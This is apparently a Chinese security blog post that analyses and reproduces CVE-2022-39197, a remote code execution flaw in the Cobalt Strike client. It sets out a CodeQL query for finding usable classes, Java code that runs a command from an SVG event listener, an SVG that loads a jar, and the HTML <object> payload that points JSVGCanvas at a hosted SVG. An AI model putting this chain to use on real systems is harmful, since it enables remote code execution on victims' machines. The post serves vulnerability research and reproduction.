Cobalt Strike <=4.7.1 RCE 简单分析与复现 0x00 前言 CVE-2022-39197这个洞是前段时间爆出来的,具体的复现过程也是拜读了漂亮鼠师傅的文章:
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
漏洞具体的细节不再赘述,思路和上面提到的文章一样,核心就是以下几点:
由于Swing库依赖加上CS本身的UI对html的渲染,导致我们引入html标签造成XSS。
CS里规定了不同的html标签有不同的解析方式,其中<object>标签允许我们传入指定类完成特定操作,要求是
传入的类必须继承Component
类必须有无参构造方法
类必须存在一个拥有setXXX方法的属性
setXXX方法只能传入一个String作为参数
关于触发点,我们需要找到CS中通过AES传输的数据模块,比如note、processlist、computer等
0x01 使用codeql寻找符合条件的类 类的约束我们已经有了,下面就是怎么找的问题,首先直接在idea里搜索肯定是不行的,仅仅是继承自Component的子类在jdk中就有上百个:
一个个筛肯定是不行的(如果有耐心的话好像也不是不行- -),更好的办法肯定就是用静态分析工具了,使用codeql、tabby编写对应规则然后进行静态分析即可,好像还有师傅用Gadget Inspector直接搞出了攻击链,这点我不是很清楚,我使用的是codeql。
由于之前有编译好的jdk8的数据库,为图省事我就直接拿来用了,使用我粗糙的手法简单写一下ql语句,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import javaclass MyComponent extends ClassOrInterface { MyComponent(){ this .getName()="Component" or this .getAnAncestor().getName()="Component" } }class UsableClass extends RefType { UsableClass(){ this .getAConstructor().hasNoParameters() and this .getAConstructor().isPublic() } } predicate isMyClass ( Class m) { m.getASourceSupertype() instanceof MyComponent and m instanceof UsableClass }class UsableMethod extends Method { UsableMethod() { this .getNumberOfParameters() = 1 and this .getAParamType().hasName("String" ) and this .isPublic() and this .getName().matches("set%" ) } } from UsableMethod me ,UsableClass cla where isMyClass (cla) and me.getDeclaringType() = cla select cla
结果是30多个类:
然后我开始逐一寻找有无可以通过setXXX构造出攻击链的类,但是寻找了一番后没有结果,而且这些类都是来自jdk自带的Swing标准库,作为一个老牌UI库应该很难能有漏洞利用点。
就在陷入迷茫的时候,我突然想到,CS里是不是自带的lib里引入了swing库,结果一看确实存在,就在org.apache.batik包内。于是下面我用同样的方法,编译CS的源码载入codeql的database,结果也是30多个类,大多数类也都没有利用点,但有一个类 JSVGCanvas 引起了我的注意。
0x02 org.apache.batik.JSVGCanvas JSVGCanvas类里有一个setURI方法
1 2 3 4 5 6 7 8 9 10 11 public void setURI (String var1) { String var2 = this .uri; this .uri = var1; if (this .uri != null ) { this .loadSVGDocument(this .uri); } else { this .setSVGDocument((SVGDocument)null ); } this .pcs.firePropertyChange("URI" , var2, this .uri); }
代码很直白,直接允许我们引入外部svg,其实到这里我是比较怀疑的,在我的印象中svg不是图片格式么,通过引用图片能直接触发RCE吗?
然后我就在这里卡了很久,网上关于svg安全问题的资料几乎没有,最后看到了国外的一篇文章 ,是查了batik的文档 才发现的。
文档中有一段代码提到:
The follow code template demonstrates how to manipulate an SVG document displayed in a JSVGCanvas directly from a Java program. You don’t have to worry about graphics updates; after each event listener invocation the canvas is updated if needed.
告诉我们如何通过去加载SVGDocument,代码样例有很多UI库里的Action实现,这给了我们一个启发,我们可以直接注册一个listner去监听初始化进程,当svg加载的时候就可以直接触发恶意代码。
在文档的末尾提到如何利用svg去执行java代码:
可以看到svg是支持插入html标签的,根据文档指示我们可以归纳出以下几点要求:
需要在指定SVG中插入html,并指定xlink:href 属性为java归档文件
类必须继承自EventListenerInitializer ,需要添加listener以触发执行指定代码
需要在jar清单中指定SVG-Handler-Class 属性为类路径
顺着这些要求我们下一步开始构造。
0x03 触发漏洞 batik可以直接通过maven引入:
1 2 3 4 5 <dependency > <groupId > xml-apis</groupId > <artifactId > xml-apis-ext</artifactId > <version > 1.3.04</version > </dependency >
首先是编写好要执行的java代码,重写匿名内部类的handleEvent方法,嵌入恶意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.spring.test;import org.w3c.dom.events.EventListener;import org.w3c.dom.svg.EventListenerInitializer;import org.w3c.dom.svg.SVGDocument;import org.w3c.dom.svg.SVGSVGElement;public class EvilSVG implements EventListenerInitializer { public EvilSVG () {} @Override public void initializeEventListeners (SVGDocument svgDocument) { SVGSVGElement rootElement = svgDocument.getRootElement(); EventListener eventListener = event -> { try { Runtime.getRuntime().exec("calc.exe" ); } catch (Exception e) { } }; rootElement.addEventListener("spring" , eventListener,false ); } }
然后准备好svg和清单:
1 2 3 4 5 //1.svg<svg xmlns = "http://www.w3.org/2000/svg" xmlns:xlink = "http://www.w3.org/1999/xlink" width ="1" height ="1" viewBox ="0 0 0 0 " > <script xlink:href ="5.jar" type ="application/java-archive" > </script > </svg >
1 2 3 Manifest-Version : 1.0 SVG-Handler-Class : org.spring.test .EvilSVG
其实这里也可以直接使用maven去添加SVG-Handler-Class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <spring.svg > org.spring.test.EvilSVG</spring.svg > ....<plugin > <artifactId > maven-jar-plugin</artifactId > <version > 3.2.0</version > <configuration > <archive > <manifest > <addDefaultImplementationEntries > true</addDefaultImplementationEntries > <addDefaultSpecificationEntries > true</addDefaultSpecificationEntries > </manifest > <manifestEntries > <SVG-Handler-Class > ${spring.svg}</SVG-Handler-Class > </manifestEntries > </archive > </configuration > </plugin >
首先编译代码。
1 mvn clean install -DskipTests
将代码编译好之后,来到target/classes目录下,将Manifest,编译好的包一起打包进1.jar,命令是:
1 jar cmf Manifest 5.jar org
这里Mainfest文件不知道为什么就是打包不进去,后来就直接通过pom来添加键值对了:
https://blog.csdn.net/kanyun123/article/details/113057783
或者直接手动修改:
开一个http,然后CS beacon处打上note触发漏洞:
1 <html > <object classid ="org.apache.batik.swing.JSVGCanvas" > <param name ="URI" value ="http://127.0.0.1:8000/1.svg" > </object >
演示: